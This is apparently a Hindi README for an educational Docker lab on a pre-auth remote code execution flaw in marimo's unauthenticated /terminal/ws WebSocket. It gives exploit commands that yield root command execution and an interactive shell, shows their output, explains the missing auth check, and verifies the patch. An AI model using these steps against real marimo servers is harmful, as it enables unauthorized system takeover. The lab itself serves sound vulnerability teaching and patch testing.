
शैक्षिक Docker लैब जो CVE-2026-39987 का प्रदर्शन करती है, जो marimo में WebSocket प्रमाणीकरण बायपास के माध्यम से प्री-ऑथ RCE है, जिसमें एक्सप्लॉइट स्क्रिप्ट और पैच सत्यापन चरण शामिल हैं।
टर्मिनल वेबसॉकेट प्रमाणीकरण बायपास के माध्यम से प्री-ऑथ रिमोट कोड एक्ज़ीक्यूशन
marimo में इस गंभीर कमजोरी को समझने, दोहराने और पैच करने के लिए एक शैक्षिक Docker लैब।
| लक्ष्य | marimo <= 0.20.4 टोकन प्रमाणीकरण सक्षम के साथ edit मोड में चल रहा है |
| हमलावर | Python 3 और websocket-client वाला कोई भी होस्ट |
| लक्ष्य | ऑथ टोकन प्रदान किए बिना /terminal/ws के माध्यम से इंटरैक्टिव रूट शेल प्राप्त करना |
| प्रकार | प्रमाणीकरण बायपास → रिमोट कोड एक्ज़ीक्यूशन (RCE) |
| पैच | marimo >= 0.23.0 |
⚠️ केवल नैतिक उपयोग: यह लैब सुरक्षा शोधकर्ताओं, डेवलपर्स और छात्रों के लिए यह समझने के लिए डिज़ाइन किया गया है कि प्रमाणीकरण बायपास कमजोरियाँ कैसे होती हैं और उन्हें ठीक से कैसे ठीक किया जाए। केवल पृथक वातावरण में चलाएं।
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
इस लैब में फ़ाइलें:
| फ़ाइल | उद्देश्य |
|---|---|
Dockerfile.target | कमजोर marimo सर्वर बनाता है |
docker-compose.yml | लक्ष्य और हमलावर कंटेनरों को व्यवस्थित करता है |
# रिपोजिटरी क्लोन करें
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# लैब प्रारंभ करें
docker-compose up --build -d
# एक्सप्लॉइट चलाएं
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# इंटरैक्टिव शेल प्राप्त करें
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# एक कार्यशील निर्देशिका बनाएं और इन फ़ाइलों को अंदर रखें:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# लक्ष्य बनाएं और प्रारंभ करें
docker-compose up --build -d
# सत्यापित करें कि लक्ष्य चल रहा है
docker ps
# आपको देखना चाहिए: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
क्या होता है:
0.20.4 (कमजोर संस्करण) के साथ एक कंटेनर बनाता है--token प्रमाणीकरण स्पष्ट रूप से सक्षम के साथ edit मोड में प्रारंभ होता है2718 आपके होस्ट के लिए उजागर हैएक्सप्लॉइट करने से पहले, आइए सत्यापित करें कि लक्ष्य वैध एंडपॉइंट्स पर ठीक से सुरक्षित है:
# ब्राउज़र या curl के माध्यम से मुख्य UI खोलने का प्रयास करें
curl -s http://127.0.0.1:2718/
# अपेक्षित: लॉगिन पेज पर रीडायरेक्ट या 401/403 (टोकन आवश्यक)
# बिना टोकन के मुख्य WebSocket (/ws) का प्रयास करें
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# अपेक्षित: गुम ऑथ के कारण कनेक्शन अस्वीकृत या तुरंत बंद
मुख्य अवलोकन: मुख्य एप्लिकेशन एंडपॉइंट्स सही ढंग से प्रमाणीकरण लागू करते हैं। कमजोरी एक द्वितीयक एंडपॉइंट में है जिसे अनदेखा किया गया था।
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
अपेक्षित आउटपुट:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
आपको एक $ प्रॉम्प्ट मिलेगा जहां आप मनमाने सिस्टम कमांड चला सकते हैं:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
कमजोरी WebSocket एंडपॉइंट्स में असंगत प्रमाणीकरण जांच के कारण मौजूद है:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
प्रमाणीकरण मिडलवेयर (Starlette AuthenticationMiddleware) अनधिकृत कनेक्शनों को UnauthenticatedUser के रूप में चिह्नित करता है लेकिन WebSocket कनेक्शनों को स्वचालित रूप से बंद नहीं करता है।
सही एंडपॉइंट्स (जैसे, /ws) validate_auth() को कॉल करते हैं या @requires("edit") का उपयोग करते हैं, अनधिकृत क्लाइंटों को अस्वीकार करते हैं।
कमजोर एंडपॉइंट (/terminal/ws) केवल जांचता है:
SessionMode.EDIT — सुनिश्चित करता है कि सर्वर edit मोड में हैsupports_terminal() — सुनिश्चित करता है कि टर्मिनल सुविधा उपलब्ध हैawait websocket.accept() को कॉल करता है।प्रभाव: pty.fork() सर्वर उपयोगकर्ता (डिफ़ॉल्ट Docker इमेज में रूट) के रूप में चलने वाला एक पूर्ण PTY शेल उत्पन्न करता है, जिससे हमलावर को पूर्ण सिस्टम एक्सेस मिलता है।
पैच /terminal/ws एंडपॉइंट में उचित प्रमाणीकरण सत्यापन जोड़ता है, यह सुनिश्चित करते हुए कि यह अन्य एंडपॉइंट्स की सुरक्षा स्थिति से मेल खाता है।
लक्ष्य को पैच किए गए संस्करण में अपग्रेड करें और फिक्स की पुष्टि करने के लिए एक्सप्लॉइट को फिर से चलाएं:
# Dockerfile.target संपादित करें: marimo==0.20.4 को marimo==0.23.0 में बदलें
# या उपयोग करें: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# एक्सप्लॉइट को फिर से आज़माएं
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
पैच के बाद अपेक्षित:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
कनेक्शन अब तुरंत अस्वीकृत/बंद कर दिया जाता है; कोई शेल प्राप्त नहीं होता है। ✅
# कंटेनरों को रोकें और हटाएं
docker-compose down -v
# निर्मित इमेज को हटाएं
docker rmi cve-lab_target
# किसी भी अनाथ इमेज को साफ करें
docker image prune -f
शैक्षिक उद्देश्यों के लिए बनाया गया। जिम्मेदारी से उपयोग करें। 🔒
exploit.py | PoC एक्सप्लॉइट स्क्रिप्ट (एकल कमांड + इंटरैक्टिव मोड) |
LAB_GUIDE.md | यह गाइड |
| समस्या | समाधान |
|---|
Connection refused | सुनिश्चित करें कि कंटेनर चल रहा है: docker ps और docker logs marimo-vulnerable के साथ लॉग जांचें |
ModuleNotFoundError: No module named 'websocket' | क्लाइंट स्थापित करें: pip install websocket-client |
| एक्सप्लॉइट से कोई आउटपुट नहीं | टाइमआउट बढ़ाएं: python exploit.py ... --timeout 20 |
| कंटेनर तुरंत बाहर निकलता है | Dockerfile सिंटैक्स जांचें और सुनिश्चित करें कि test.py नोटबुक ठीक से बनाई गई है |
| अनुमति अस्वीकृत | सुनिश्चित करें कि Docker डेमॉन चल रहा है और आपके पास उचित अनुमतियाँ हैं |